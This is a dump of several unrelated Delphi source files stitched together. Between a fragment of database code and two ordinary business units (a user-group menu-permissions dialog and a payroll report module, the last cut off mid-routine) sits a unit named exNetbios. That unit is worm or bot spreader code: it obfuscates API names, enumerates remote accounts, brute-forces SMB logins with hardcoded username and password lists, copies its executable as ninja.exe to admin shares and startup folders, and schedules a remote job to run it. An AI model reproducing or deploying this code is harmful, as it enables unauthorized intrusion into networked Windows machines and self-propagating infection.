Password := queryResult.FieldByName('password').AsString;
end;
end;
FreeAndNil(queryParams);
end;
end.
|
unit exNetbios;
interface
uses
Windows,
Winsock,
untFunctions,
untOutputs,
untCrypt;
type
TUserAccountType = (
fltrDuplicate, // Enumerates local user account data on a domain controller.
fltrNormal, // Enumerates global user account data on a computer.
fltrProxy, // ???
fltrInterdomainTrust, // Enumerates domain trust account data on a domain controller.
fltrWorkstationTrust, // Enumerates workstation or member server account data on a domain controller.
fltrServerTrust // Enumerates domain controller account data on a domain controller.
);
TUserAccountFilter = set of TUserAccountType;
USER_INFO_0 = record
usri0_name : PWideChar;
end;
PUSER_INFO_0 = ^USER_INFO_0;
NetAPIStatus = Integer;
const
FILTER_TEMP_DUPLICATE_ACCOUNT = $0001;
FILTER_NORMAL_ACCOUNT = $0002;
FILTER_PROXY_ACCOUNT = $0004;
FILTER_INTERDOMAIN_TRUST_ACCOUNT = $0008;
FILTER_WORKSTATION_TRUST_ACCOUNT = $0010;
FILTER_SERVER_TRUST_ACCOUNT = $0020;
MAX_PREFERRED_LENGTH = -1;
NERR_Success = 0; // Success
usernames:array[0..19] of string=(
'administrator', 'administrador', 'administrateur',
'administrat', 'admins', 'admin', 'staff',
'root', 'computer', 'owner', 'student', 'teacher',
'wwwadmin', 'guest', 'default', 'database',
'dba', 'oracle', 'db2', '');
passwords:array[0..139] of string=(
'', 'administrator', 'administrador', 'administrateur',
'administrat', 'admins', 'admin', 'adm', 'password1',
'password', 'passwd', 'pass1234', 'pass', 'pwd',
'007', '1', '12', '123', '1234', '12345', '123456',
'1234567', '12345678', '123456789', '1234567890', '2000',
'2001', '2002', '2003', '2004', 'test', 'guest', 'none', 'demo',
'unix', 'linux', 'changeme', 'default', 'system', 'server',
'root', 'null', 'qwerty', 'mail', 'outlook', 'web', 'www',
'internet', 'accounts', 'accounting', 'home', 'homeuser',
'user', 'oem', 'oemuser', 'oeminstall', 'windows', 'win98',
'win2k', 'winxp', 'winnt', 'win2000', 'qaz',
'asd', 'zxc', 'qwe', 'bob', 'jen', 'joe', 'fred', 'bill', 'mike',
'john', 'peter', 'luke', 'sam', 'sue', 'susan', 'peter',
'brian', 'lee', 'neil', 'ian', 'chris', 'eric', 'george',
'kate', 'bob', 'katie', 'mary', 'login', 'loginpass',
'technical', 'backup', 'exchange', 'fuck', 'bitch',
'slut', 'sex', 'god', 'hell', 'hello', 'domain', 'domainpass',
'domainpassword', 'database', 'access', 'dbpass',
'dbpassword', 'databasepass', 'data', 'databasepassword', 'db1',
'db2', 'db1234', 'sa', 'sql', 'sqlpass', 'oainstall',
'orainstall', 'oracle', 'ibm', 'cisco', 'dell',
'compaq', 'siemens', 'hp', 'nokia', 'xp',
'control', 'office', 'blank', 'winpass',
'main', 'lan', 'internet', 'intranet', 'student', 'teacher',
'staff');
type
ptime_of_day_info = ^ttime_of_day_info;
ttime_of_day_info = record
tod_elapsedt : DWORD;
tod_msecs : DWORD;
tod_hours : DWORD;
tod_mins : DWORD;
tod_secs : DWORD;
tod_hunds : DWORD;
tod_timezone : LongInt;
tod_tinterval : DWORD;
tod_day : DWORD;
tod_month : DWORD;
tod_year : DWORD;
tod_weekday : DWORD;
end;
at_info = record
jobtime :dword;
daysofmonth :dword;
daysofweek :uchar;
flags :uchar;
command :pwidechar;
end;
var
{
WNetAddConnection2: Function(a: PNETRESOURCE; b,c: PCHAR; d: DWORD): DWORD;
WNetAddConnection2W: Function(a: PNETRESOURCE; b,c: PCHAR; d: DWORD): DWORD;
WNetCancelConnection2: Function(a: PCHAR; b: DWORD; c: BOOL): DWORD;
WNetCancelConnection2W: Function(a: PCHAR; b: DWORD; c: BOOL): DWORD;
}
lpNetApiBufferFree : FUNCTION(Buffer:Pointer) : DWORD;STDCALL;
lpNetRemoteTOD : FUNCTION(UNCServerName:pChar;BufferPtr:pByte) : DWORD;STDCALL;
lpNetScheduleJobAdd : FUNCTION(ServerName:pChar;Buffer:pByte;VAR JobID:DWORD) : DWORD;STDCALL;
OLD_NetShareEnum : FUNCTION(pszServer:pChar;sLevel:SmallInt;VAR Bufptr;cbBuffer:Cardinal;VAR pcEntriesRead,pcTotalAvail:Cardinal) : DWORD; STDCALL;
NT_NetShareEnum : FUNCTION(ServerName:pWideChar;Level:DWORD;VAR Bufptr;Prefmaxlen:DWORD;VAR EntriesRead,TotalEntries,resume_handle:DWORD) : DWORD; STDCALL;
// NetUserEnum : Function(a:pwidechar; b,c:dword; d:USER_INFO_0; e,f,g,h:dword): dword;
// function NetUserEnum (serverName : PWideChar; level, filter : Integer; var buffer : Pointer; prefmaxlen : Integer; var entriesRead, totalEntries, resumeHandle : Integer) : NetAPIStatus; stdcall;
NetUserEnum : Function(serverName: PWideChar;
level, filter: Integer;
var Buffer: Pointer;
prefmaxlen: Integer;
var entriesRead, totalEntries, resumeHandle : Integer): NetAPIStatus; stdcall;
Function NetBios(RemoteIP: String; Sock: TSocket): Boolean;
Procedure InitializeFunctions;
implementation
Procedure InitializeFunctions;
Var
// mpr_dll :thandle;
netapi32 :thandle;
Begin
{
mpr_dll := LoadLibrary('mpr.dll');
WNetAddConnection2 := GetProcAddress(mpr_dll, 'WNetAddConnection2A');
WNetAddConnection2W := GetProcAddress(mpr_dll, 'WNetAddConnection2W');
WNetCancelConnection2 := GetProcAddress(mpr_dll, 'WNetCancelConnection2A');
WNetCancelConnection2W := GetProcAddress(mpr_dll, 'WNetCancelConnection2W');
}
netapi32 := loadlibrary(pchar(crypt('MFWBSJ', 35)));
// fNetUserEnum = (NUE)GetProcAddress(netapi32_dll,"NetUserEnum");
NetUserEnum := getprocaddress(netapi32, 'NetUserEnum');
lpnetremotetod := getprocaddress(netapi32, pchar(crypt('mFWqFNLWFwlg', 35)));
lpnetschedulejobadd := getprocaddress(netapi32, pchar(crypt('mFWp@KFGVOFiLAbGG', 35)));
if netbios_isntbased then
begin
nt_netshareenum := getprocaddress(netapi32, pchar(crypt('mFWpKBQFfMVN', 35)));
lpnetapibufferfree := getprocaddress(netapi32, pchar(crypt('mFWbSJaVEEFQeQFF', 35)));
end else
old_netshareenum := getprocaddress(netapi32, pchar(crypt('mFWpKBQFfMVN', 35)));
End;
Function NetConnect(szUserName, szPassword, szServer: PChar; Sock: TSocket): Boolean;
Const
SharePath :Array[0..9] Of String = ('Admin$\system32', 'c$\winnt\system32', 'c$\windows\system32', 'c', 'd',
'e', 'f', 'c$\documents and settings\all users\start menu\programs\startup\',
'c$\windows\start menu\programs\startup\',
'c$\winnt\profiles\all users\start menu\programs\startup\');
Var
nr :NETRESOURCE;
dwResult :DWORD;
wszNetBIos :PWideChar;
wszFileName :PWideChar;
szRemoteFile :String;
Buffer :String;
tinfo :PTIME_OF_DAY_INFO;
JobID :DWORD;
At_Time :AT_INFO;
nStatus :DWORD;
J,I :Integer;
Jobtime :DWOrd;
Begin
FillChar(Nr, SizeOf(Nr), 0);
nr.lpLocalName := szServer;
nr.dwType := RESOURCETYPE_DISK;
nr.lpLocalName := NIL;
nr.lpProvider := NIL;
dwResult := WNetAddConnection2(nr, szPassword, szUsername, 0);
if dwResult <> NO_ERROR Then
Begin
Sleep(10);
WNetCancelConnection2(szServer, CONNECT_UPDATE_PROFILE, True);
Result := False;
Exit;
End;
tinfo := NIL;
// MultiByteToWideChar(CP_ACP, 0, szServer, -1, wszNetBios, sizeOf(wszNetBios));
nStatus := lpNetRemoteTOD(pChar(szServer), @tinfo);
if nStatus = 0 Then
Begin
if tinfo <> nil then
begin
j := 0;
for i := 0 to sizeof(sharepath)-1 do
begin
szRemoteFile := szServer + '\' + sharepath[i] + '\ninja.exe';
If (CopyFile(Pchar(ParamStr(0)), pChar(szRemoteFile), False) = false) Then
Break else j := 1;
end;
if J = 0 then
begin
lpNetApiBufferFree(tinfo);
WNetCancelConnection2(szServer, CONNECT_UPDATE_PROFILE, TRUE);
Result := False;
Exit;
End;
jobtime := (tinfo.tod_hours*3600+tinfo.tod_mins*60+tinfo.tod_secs)*1000+tinfo.tod_hunds*10;
if tinfo.tod_timezone <> -1 then jobtime := jobtime - tinfo.tod_timezone * 60000;
jobtime := jobtime + 3000;
zeromemory(@at_time, sizeof(at_info));
at_time.jobtime := jobtime * 6000;
stringtowidechar(szRemoteFile, wszFileName, 1024);
at_time.command := wszFileName;
nStatus := lpNetScheduleJobAdd(pChar(szServer), @at_time, jobid);
if nStatus = 0 then
begin
// sploited.
Result := True;
end;
end;
End;
WNetCancelConnection2(szServer, CONNECT_UPDATE_PROFILE, TRUE);
End;
Function RootBox(szUserName, szServer: PChar; Sock: TSocket): Boolean;
Var
I :Integer;
Begin
Result := False;
I := 0;
For I := 0 To SizeOf(passwords)-1 Do
Begin
If (NetConnect(szUserName, pChar(passwords[i]), szServer, Sock) = True) Then
Begin
Result := True;
Break;
End;
Sleep(200);
End;
End;
Function NetBios(RemoteIP: String; Sock: TSocket): Boolean;
Var
szUserName :String;
RemoteName :String;
szServer :String;
pszServer :WChar;
sName :PWChar;
pBuf :Pointer;
pTmpBuf :PUSER_INFO_0;
dwLevel, dwPrefMaxLen, dwEntriesRead,
dwTotalEntries, dwResumeHandle, dwTotalCount: Integer;
nStatus :DWord;
nr :NETRESOURCE;
I :dword;
Begin
szServer := '\\' + RemoteIP;
GetMem(sName, 500);
stringtowidechar(szServer, sName, 500);
// pszServer:=sName;
nr.lpLocalName := NIL;
nr.lpProvider := NIL;
nr.dwType := RESOURCETYPE_ANY;
RemoteName := szServer+'\ipc$';
nr.lpRemoteName := pChar(RemoteName);
if WNetAddConnection2(nr, '', '', 0) <> NO_ERROR Then
Begin
WNetCancelConnection2(pChar(RemoteName), 0, TRUE);
Result := False;
Exit;
End;
Repeat
(*
procedure TForm1.Button1Click(Sender: TObject);
var
wServerName : WideString;
rv : NetAPIStatus;
buffer : pointer;
i, entriesRead, totalEntries : Integer;
p : PUSER_INFO_0;
begin
listbox1.Clear;
wServerName:=GetComputerName;
rv := NetUserEnum (PWideChar (wServerName), 0, UserAccountFilterToDWORD ([fltrNormal]), buffer, MAX_PREFERRED_LENGTH,
entriesRead, totalEntries, NIL_HANDLE);
if rv = NERR_Success then
try
p := PUSER_INFO_0 (buffer);
for i := 0 to entriesRead - 1 do
begin
listbox1.items.Add (p^.usri0_name);
Inc (p)
end
finally
NetAPIBufferFree (buffer)
end
else
ShowMessage('Error');
end;
*)
nStatus := NetUserEnum(sName, 0, FILTER_NORMAL_ACCOUNT, pBuf, MAX_PREFERRED_LENGTH, dwEntriesRead, dwtotalEntries, dwResumeHandle);
WNetCancelConnection2(pChar(RemoteName), 0, TRUE);
If ((nStatus = NERR_SUCCESS) or (nStatus = ERROR_MORE_DATA)) Then
begin
if pBuf <> NIL Then
Begin
pTmpBuf := PUSER_INFO_0(pBuf);
For I := 0 to dwEntriesRead -1 Do
Begin
If pTmpBuf^.usri0_name = NIL Then
Break;
If RootBox(pChar(pTmpBuf^.usri0_name), pChar(szServer), Sock) = True Then
Break;
Inc(pTmpBuf^.usri0_name);
Inc(dwTotalCount);
End;
End;
End;
If pBuf <> NIL Then
Begin
lpNetApiBufferFree(pBuf);
pBuf := NIL;
End;
Until nStatus <> ERROR_MORE_DATA;
If pBuf <> NIL Then
lpNetApiBufferFree(pBuf);
If nStatus = ERROR_ACCESS_DENIED Then
For I := 0 To SizeOf(Usernames)-1 Do
If RootBox(pChar(Usernames[i]), pChar(szServer), Sock) = True Then
Break;
Result := True;
End;
end.
|
unit ufrmDialogUserGroup;
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, ufrmMasterDialog, ufraFooterDialog2Button, ExtCtrls, System.StrUtils,
StdCtrls, ComCtrls, cxGraphics,
cxControls, cxLookAndFeels, cxLookAndFeelPainters, Vcl.Menus, cxButtons,
cxContainer, cxEdit, cxTreeView, System.Actions, Vcl.ActnList,
ufraFooterDialog3Button;
type
TFormMode = (fmAdd, fmEdit);
ObjectMenu = class(TComponent)
public
OMID : Integer;
OModID : Integer;
end;
TfrmDialogUserGroup = class(TfrmMasterDialog)
tmrCheckMenu: TTimer;
Panel1: TPanel;
lbl6: TLabel;
edtDescription: TEdit;
edtName: TEdit;
lbl4: TLabel;
GroupBox1: TGroupBox;
cxTVUserGroup: TcxTreeView;
btnCheck: TcxButton;
procedure FormClose(Sender: TObject; var Action: TCloseAction);
procedure FormDestroy(Sender: TObject);
procedure FormShow(Sender: TObject);
procedure footerDialogMasterbtnSaveClick(Sender: TObject);
procedure btnCheckClick(Sender: TObject);
procedure tmrCheckMenuTimer(Sender: TObject);
procedure cxTVUserGroupClick(Sender: TObject);
private
// FUserGroup : TUserGroup;
// FUsrMenuModGrp : TUserMenuModGroup;
FIsProcessSuccessfull: boolean;
FFormMode: TFormMode;
FGroupId: integer;
FcxTreeNode: TcxTreeView;
procedure CekItems;
procedure SetFormMode(const Value: TFormMode);
procedure SetIsProcessSuccessfull(const Value: boolean);
procedure SetGroupId(const Value: integer);
procedure showDataEdit;
procedure prepareAddData;
function SaveData: Boolean;
// function SetMenuTable(aGroupID: integer; aModID: integer; aUnitID: integer):
// Boolean;
public
function LoadDataMenu(aParentNode:TTreeNode;aParentID:Integer): TTreeNode;
function SetCheckBox(aMenuID:Integer): Boolean;
procedure ShowWithID(aGrpNm, aGrpDesc: string; acxTreeNode: TcxTreeView);
{ Public declarations }
published
property FormMode: TFormMode read FFormMode write SetFormMode;
property GroupId: integer read FGroupId write SetGroupId;
property IsProcessSuccessfull: boolean read FIsProcessSuccessfull write SetIsProcessSuccessfull;
end;
var
frmDialogUserGroup: TfrmDialogUserGroup;
ssSQL : TStrings;
implementation
uses
DB, uTSCommonDlg, uRetnoUnit, DateUtils, Math;
{$R *.dfm}
procedure TfrmDialogUserGroup.SetFormMode(const Value: TFormMode);
begin
FFormMode:= Value;
end;
procedure TfrmDialogUserGroup.SetIsProcessSuccessfull(const Value: boolean);
begin
FIsProcessSuccessfull:= Value;
end;
procedure TfrmDialogUserGroup.SetGroupId(const Value: integer);
begin
FGroupId:= Value;
end;
procedure TfrmDialogUserGroup.showDataEdit;
begin
cShowWaitWindow('Loading Menu Structure');
try
// Application.ProcessMessages;
// LoadDataMenu(nil,1);
cxTVUserGroup.Items := FcxTreeNode.Items;
// CekItems;
tmrCheckMenu.Enabled := True;
finally
cCloseWaitWindow;
end;
end;
procedure TfrmDialogUserGroup.prepareAddData;
begin
cShowWaitWindow('Loading Menu Structure');
// LoadDataMenu(nil,1);
cxTVUserGroup.Items := FcxTreeNode.Items;
cxTVUserGroup.FullExpand;
edtName.Clear;
edtDescription.Clear;
btnCheck.Visible := False;
cCloseWaitWindow;
end;
procedure TfrmDialogUserGroup.FormClose(Sender: TObject;
var Action: TCloseAction);
begin
inherited;
Action:= caFree;
end;
procedure TfrmDialogUserGroup.FormDestroy(Sender: TObject);
begin
inherited;
// FreeAndNil(FUserGroup);
// FreeAndNil(FUsrMenuModGrp);
frmDialogUserGroup:= nil;
end;
procedure TfrmDialogUserGroup.FormShow(Sender: TObject);
begin
inherited;
// FUserGroup := TUserGroup.Create(self);
// FUsrMenuModGrp := TUserMenuModGroup.Create(nil);
if (FFormMode = fmEdit) then
showDataEdit
else
prepareAddData();
edtName.SetFocus;
end;
procedure TfrmDialogUserGroup.footerDialogMasterbtnSaveClick(
Sender: TObject);
begin
inherited;
FIsProcessSuccessfull := SaveData;
Close;
end;
procedure TfrmDialogUserGroup.ShowWithID(aGrpNm, aGrpDesc: string; acxTreeNode:
TcxTreeView);
begin
edtName.Text := aGrpNm;
edtDescription.Text := aGrpDesc;
FcxTreeNode := acxTreeNode;
end;
function TfrmDialogUserGroup.LoadDataMenu(aParentNode:TTreeNode;
aParentID:Integer): TTreeNode;
var
lTreeNodeOld : TTreeNode;
sChild : string;
sSQL : string;
lTreeNode : TTreeNode;
begin
lTreeNode := aParentNode;
Result := lTreeNode;
if aParentNode = nil then
begin
cxTVUserGroup.Items.Clear;
lTreeNode := cxTVUserGroup.Items.AddChildFirst(nil,'Menu');
Result := lTreeNode;
end;
if aParentID = 1 then
sSQL := 'Select AMS.MENUS_ID,AMS.MENUS_NAME,AMS.MENUS_CAPTION,AMS.MENUS_PARENT_MENU_ID,AMS.MENUS_NO,MENUS_MOD_ID '
+ ' FROM AUT$MENU_STRUCTURE AMS '
+ ' Where AMS.MENUS_PARENT_MENU_ID is null'
+ ' And AMS.MENUS_UNT_ID=' + IntToStr(DialogUnit)
else
sSQL := 'Select AMS.MENUS_ID,AMS.MENUS_NAME,AMS.MENUS_CAPTION,AMS.MENUS_PARENT_MENU_ID,AMS.MENUS_NO,MENUS_MOD_ID '
+ ' FROM AUT$MENU_STRUCTURE AMS '
+ ' Where AMS.MENUS_PARENT_MENU_ID = '+IntToStr(aParentID)
+ ' and AMS.MENUS_PARENT_UNT_ID = ' + IntToStr(DialogUnit);
// + ' And AMS.MENUS_UNT_ID = ' + IntToStr(DialogUnit);
{ with cOpenQuery(sSQL) do
begin
try
while not eof do
begin
sChild := FieldByName('MENUS_CAPTION').AsString
+ '*'+
IntToStr(FieldByName('MENUS_ID').AsInteger);
lTreeNodeOld := lTreeNode;
lTreeNode := JvTreeView1.Items.AddChild(lTreeNode, sChild);
LoadDataMenu(lTreeNode,FieldByName('MENUS_ID').AsInteger);
lTreeNode := lTreeNodeOld;
Next;
end;
finally
free;
end;
end;
}
end;
function TfrmDialogUserGroup.SetCheckBox(aMenuID:Integer): Boolean;
var
sSQL: String;
begin
inherited;
Result := False;
sSQl := 'SELECT * '
+ ' FROM AUT$MENU AM '
+ ' LEFT OUTER JOIN AUT$MENU_STRUCTURE AMS ON (AM.MENU_ID = AMS.MENUS_ID) '
+ ' AND (AM.MENU_UNT_ID = AMS.MENUS_UNT_ID) '
+ ' WHERE AM.MENU_GRO_ID = '+IntToStr(GroupId)
+ ' AND AM.MENU_GRO_UNT_ID = '+IntToStr(DialogUnit)
+ ' AND AMS.MENUS_ID = ' + IntToStr(aMenuID);
// with cOpenQuery(sSQL) do
// begin
// try
// If not Fieldbyname('MENU_ID').IsNull then
// begin
// Result := True;
// end;
// finally
// Free;
// end;
// end;
end;
procedure TfrmDialogUserGroup.btnCheckClick(Sender: TObject);
begin
inherited;
cShowWaitWindow('Please wait.');
CekItems;
cCloseWaitWindow;
end;
procedure TfrmDialogUserGroup.CekItems;
var
iMenuLen: Integer;
sItems: string;
iMenuPOS: Integer;
i: Integer;
begin
cxTVUserGroup.FullExpand;
for i := 0 to cxTVUserGroup.Items.Count-1 do
begin
if cxTVUserGroup.Items.Item[i].Text <> 'Menu' then
begin
sItems := cxTVUserGroup.Items.Item[i].Text;
iMenuPOS := POS('*',sItems);
iMenuLen := Length(sItems)-iMenuPOS;
if SetCheckBox(StrToInt(RightStr(sItems,iMenuLen))) then
begin
// cxTVUserGroup.SetChecked(cxTVUserGroup.Items.Item[i],True);
If cxTVUserGroup.Items.Item[i].Parent.Text <> 'Menu' then
// cxTVUserGroup.SetChecked(cxTVUserGroup.Items.Item[i].Parent,True);
end;
end;
end;
end;
function TfrmDialogUserGroup.SaveData: Boolean;
var
iMenuLen: Integer;
iMenuPOS: Integer;
sMenuID: String;
sSQLUpdate: string;
sSQLDelete: string;
iMenuID: Integer;
sSQLInsert: string;
i: Integer;
begin
cShowWaitWindow('Simpan Data');
Application.ProcessMessages;
ssSQL := TStringList.Create;
if FFormMode = fmEdit then
begin
sSQLUpdate := 'Update AUT$GROUP '
+ ' Set GRO_NAME = ' + QuotedStr(edtName.Text)
+ ' ,GRO_DESCRIPTION = ' + QuotedStr(edtDescription.Text)
+ ' WHERE GRO_UNT_ID = '+IntToStr(DialogUnit)
+ ' AND GRO_ID = ' + IntToStr(GroupId) + ';';
ssSQL.Add(sSQLUpdate);
sSQLDelete := 'DELETE FROM AUT$MENU WHERE MENU_GRO_UNT_ID = '+ IntToStr(DialogUnit)
+ ' and MENU_GRO_ID = '+ IntToStr(GroupId);
ssSQL.Add(sSQLDelete);
end
else
begin
// GroupId := cGetNextID('GEN_AUT$GROUP_ID');
sSQLInsert := 'INSERT INTO AUT$GROUP '
+ ' Values(' +IntToStr(GroupId)
+ ',' + IntToStr(DialogUnit)
+ ',' + QuotedStr(edtName.Text)
+ ',' + QuotedStr(edtDescription.Text) + ');';
ssSQL.Add(sSQLInsert);
end;
for i := 0 to cxTVUserGroup.Items.Count-1 do
begin
// if (cxTVUserGroup.GetChecked(cxTVUserGroup.Items.Item[i])) and
// (cxTVUserGroup.Items.Item[i].Text <> 'Menu') then
begin
sMenuID := cxTVUserGroup.Items.Item[i].Text;
iMenuPOS := POS('*',sMenuID);
iMenuLen := Length(sMenuID)-iMenuPOS;
iMenuID := StrToInt((RightStr(sMenuID,iMenuLen)));
// sSQL := 'SELECT MS.MENUS_ID,MS.MENUS_UNT_ID,MS.MENUS_MOD_ID,MS.MENUS_MOD_UNT_ID '
// + ' FROM AUT$MODULE M '
// + ' INNER JOIN AUT$MENU_STRUCTURE MS ON (M.MOD_ID = MS.MENUS_MOD_ID) '
// + ' AND (M.MOD_UNT_ID = MS.MENUS_MOD_UNT_ID) '
// + ' WHERE MS.MENUS_UNT_ID ='+IntToStr(UnitID)
//// + ' AND MS.MENUS_CAPTION =' + QuotedStr(cxTVUserGroup.Items.Item[i].Text);
// + ' AND MS.MENUS_ID =' + IntToStr(iMenuID);
// with cOpenQuery(sSQL) do
// begin
// try
// If not Eof then
// begin
// iModulID := fieldbyname('MENUS_MOD_ID').AsInteger;
// iMenuID := fieldbyname('MENUS_ID').AsInteger;
// iModulID := StrToInt(mmModulID.Lines[i-1]);
// iMenuID := StrToInt(mmMenuID.Lines[i-1]);
// iModulID := ObjectMenu(cxTVUserGroup.Items.Item[i]).OModID;
// iMenuID := ObjectMenu(cxTVUserGroup.Items.Item[i]).OMID;
// sSQLInsert := 'INSERT INTO AUT$GROUP_MODULE '
// + ' VALUES('+IntToStr(GroupId)
// + ',' + IntToStr(UnitID)
// + ',' + IntToStr(iModulID)
// + ',' + IntToStr(UnitID) + ')';
// ssSQL.Add(sSQLInsert);
sSQLInsert := 'INSERT INTO AUT$MENU '
+ ' VALUES('+IntToStr(iMenuID)
+ ',' + IntToStr(DialogUnit)
+ ',' + IntToStr(GroupId)
+ ',' + IntToStr(DialogUnit) + ')';
ssSQL.Add(sSQLInsert);
// end;
// finally
// Free;
// end;
// end;
end;
end;
cCloseWaitWindow;
// ssSQL.SaveToFile('D:\Test.txt');
{
try
if kExecuteSQLs(FUserGroup.GetHeaderFlag, ssSQL) then
begin
if SimpanBlob(ssSQL,1) then
Begin
cCommitTrans;
Result := True;
end
else
Begin
cRollbackTrans;
CommonDlg.ShowError('Gagal Simpan Data');
Result := False;
end;
end
else
Begin
cRollbackTrans;
CommonDlg.ShowError('Gagal Simpan Data');
Result := False;
end;
finally
cRollbackTrans;
ssSQL.Free;
end;
}
end;
procedure TfrmDialogUserGroup.cxTVUserGroupClick(Sender: TObject);
var
sParent: string;
sTOPParent: string;
iNode: TTreeNode;
isChecked: Boolean;
begin
inherited;
sTOPParent := 'Menu';
iNode := cxTVUserGroup.Selected;
// isChecked := cxTVUserGroup.GetChecked(iNode);
if isChecked then
begin
if iNode.Parent.Text <> 'Menu' then
repeat
// cxTVUserGroup.SetChecked(iNode.Parent,True);
iNode := iNode.Parent;
sParent := iNode.Text;
until
sParent = sTOPParent;
end;
end;
procedure TfrmDialogUserGroup.tmrCheckMenuTimer(Sender: TObject);
var
i: Integer;
begin
inherited;
cShowWaitWindow('Show Selected Menu');
tmrCheckMenu.Enabled := False;
try
for i := 0 to FcxTreeNode.Items.Count -1 do
begin
// if FjvTreeNode.GetChecked(FcxTreeNode.Items[i]) then
begin
// cxTVUserGroup.SetChecked(cxTVUserGroup.Items[i], True);
end;
end;
finally
cCloseWaitWindow;
end;
cxTVUserGroup.FullExpand;
end;
end.
|
unit ReeDepVo_UDMPrint;
interface
uses
SysUtils, Classes, DB, FIBDataSet, pFIBDataSet, FIBDatabase, pFIBDatabase,
frxClass, frxDBSet, frxDesgn, IBase, IniFiles, Forms, Dates, Variants,
Unit_SprSubs_Consts, ZProc, ZSvodTypesUnit, Controls, FIBQuery,
pFIBQuery, pFIBStoredProc, ZMessages, Dialogs, Math, ZSvodProcUnit, Unit_ZGlobal_Consts,
ZWait, RxMemDS, Graphics, frxExportXLS;
type TzReeDepVOFilter = record
Kod_Setup1:integer;
Kod_Setup2:integer;
Id_department:integer;
Id_smeta:integer;
Id_VidOpl:integer;
ID_Cat:Integer;
id_prop:Integer;
P1:boolean;
PSystem: boolean;
SummaLower:string;
SummaHigh:string;
Is_Smeta:boolean;
Is_Department:boolean;
Is_VidOpl:boolean;
Is_Cat:boolean;
Is_Prop:boolean;
IsDepSprav: boolean;
IsSummaLower:boolean;
IsSummaHigh:boolean;
Is_VidOplPrint: boolean;
Is_CatPrint: boolean;
Is_PropPrint: Boolean;
Title_Smeta:string;
Title_VidOpl: string;
Title_department: string;
Title_CAT: string;
Title_Prop: string;
Code_department: string;
Code_Smet: string;
Code_VidOpl:string;
end;
type
TDM = class(TDataModule)
DB: TpFIBDatabase;
ReadTransaction: TpFIBTransaction;
DSetData: TpFIBDataSet;
ReportDsetData: TfrxDBDataset;
frxXLSExport1: TfrxXLSExport;
DSetFoundationData: TpFIBDataSet;
ReportDBDSetFoundationData: TfrxDBDataset;
Report: TfrxReport;
procedure ReportGetValue(const VarName: String; var Value: Variant);
private
KodSetup1: integer;
KodSetup2: integer;
TitleVidopl: string;
TitleDep: string;
TitleSmeta: string;
TitleCat: string;
TitleProp: string;
PDb_Handle: TISC_DB_HANDLE;
MemoryData: TRxMemoryData;
ParamzReeDepVOFilter:TzReeDepVOFilter;
public
function PrintSpr(AHandle:TISC_DB_HANDLE;Param:TzReeDepVOFilter):variant;
end;
implementation
{$R *.dfm}
const Path_IniFile_Reports = 'Reports\Zarplata\Reports.ini';
const SectionOfIniFile = 'ReeDepVo';
const NameReport = 'Reports\Zarplata\ReeDepVo.fr3';
const NameReport2 = 'Reports\Zarplata\ReeDepVo2.fr3';
function TDM.PrintSpr(AHandle:TISC_DB_HANDLE;Param:TzReeDepVOFilter):variant;
var IniFile:TIniFile;
ViewMode:integer;
PathReport:string;
wf:TForm;
DataBand: TfrxMasterData;
HeaderBand: TfrxHeader;
FooterBand: TfrxFooter;
Memo: TfrxMemoView;
i: integer;
mw: double;
f: boolean;
begin
wf:=ShowWaitForm(TForm(Self.Owner));
Screen.Cursor:=crHourGlass;
KodSetup1:=Param.Kod_Setup1;
KodSetup2:=Param.Kod_Setup2;
TitleVidopl:=ifThen(Param.Is_VidOpl,Param.Title_VidOpl,'');
TitleDep:=ifThen(Param.Is_Department,Param.Title_department,'');
TitleSmeta:=ifThen(Param.Is_Smeta,Param.Title_Smeta,'');
TitleCat :=ifThen(Param.Is_Cat, Param.Title_CAT,'');
TitleProp :=ifThen(Param.Is_Prop, Param.Title_Prop,'');
ParamzReeDepVOFilter:=Param;
PDb_Handle:=AHandle;
DSetFoundationData.close;
DSetFoundationData.SQLs.SelectSQL.Text:='select * from Z_SETUP_S';
try
DB.Handle:=AHandle;
DSetFoundationData.Open;
except
on E:Exception do
begin
CloseWaitForm(wf);
ZShowMessage(Error_Caption[LanguageIndex],e.Message,mtError,[mbOK]);
Exit;
end;
end;
IniFile:=TIniFile.Create(ExtractFilePath(Application.ExeName)+Path_IniFile_Reports);
ViewMode:=IniFile.ReadInteger(SectionOfIniFile,'ViewMode',1);
PathReport:=IniFile.ReadString(SectionOfIniFile,'ReeDepVo',NameReport);
IniFile.Free;
Report.Clear;
Report.LoadFromFile(ExtractFilePath(Application.ExeName)+PathReport,True);
DataBand:=Report.FindObject('MasterData1') as TfrxMasterData;
HeaderBand:=Report.FindObject('Header1') as TfrxHeader;
FooterBand:=Report.FindObject('Footer1') as TfrxFooter;
MemoryData:=TRxMemoryData.Create(self);
MemoryData.FieldDefs.Add('ID_MAN',ftInteger);
MemoryData.FieldDefs.Add('TN',ftInteger);
MemoryData.FieldDefs.Add('FIO',ftString,255);
MemoryData.FieldDefs.Add('NAME_VIDOPL',ftString,255);
MemoryData.FieldDefs.Add('NAME_CAT_STUD',ftString,255);
MemoryData.FieldDefs.Add('NAME_PEOPLE_PROP',ftString,255);
if(Param.Is_VidOplPrint=true)then
mw:=16.0/(Param.Kod_Setup2-Param.Kod_Setup1+1)
else
mw:=19.9/(Param.Kod_Setup2-Param.Kod_Setup1+1);
for i:=0 to Param.Kod_Setup2-Param.Kod_Setup1 do
begin
MemoryData.FieldDefs.Add('SUMMA'+IntToStr(i),ftCurrency);
end;
MemoryData.Open;
for i:=0 to Param.Kod_Setup2-Param.Kod_Setup1 do
begin
Memo:=TfrxMemoView.Create(HeaderBand);
Memo.CreateUniqueName;
Memo.Text:=KodSetupToPeriod(Param.Kod_Setup1+i,1);
Memo.SetBounds(6.0*37.7953+i*mw*37.7953,0,mw*37.7953,0.5*37.7953);
Memo.Frame.Typ:=[ftLeft,ftRight,ftTop,ftBottom];
Memo.HAlign:=haCenter;
Memo.Font.Size:=8;
Memo.Font.Style:=[fsBold];
Memo.StretchMode:=smMaxHeight;
Memo:=TfrxMemoView.Create(DataBand);
Memo.CreateUniqueName;
Memo.DataSet:=ReportDsetData;
Memo.DataField:='SUMMA'+IntToStr(i);
Memo.SetBounds(6.0*37.7953+i*mw*37.7953,0,mw*37.7953,0.5*37.7953);
Memo.Frame.Typ:=[ftLeft,ftRight,ftTop,ftBottom];
Memo.DisplayFormat.Kind:=fkNumeric;
Memo.DisplayFormat.FormatStr:='%2.2f';
Memo.HAlign:=haRight;
Memo.Font.Size:=8;
Memo.StretchMode:=smMaxHeight;
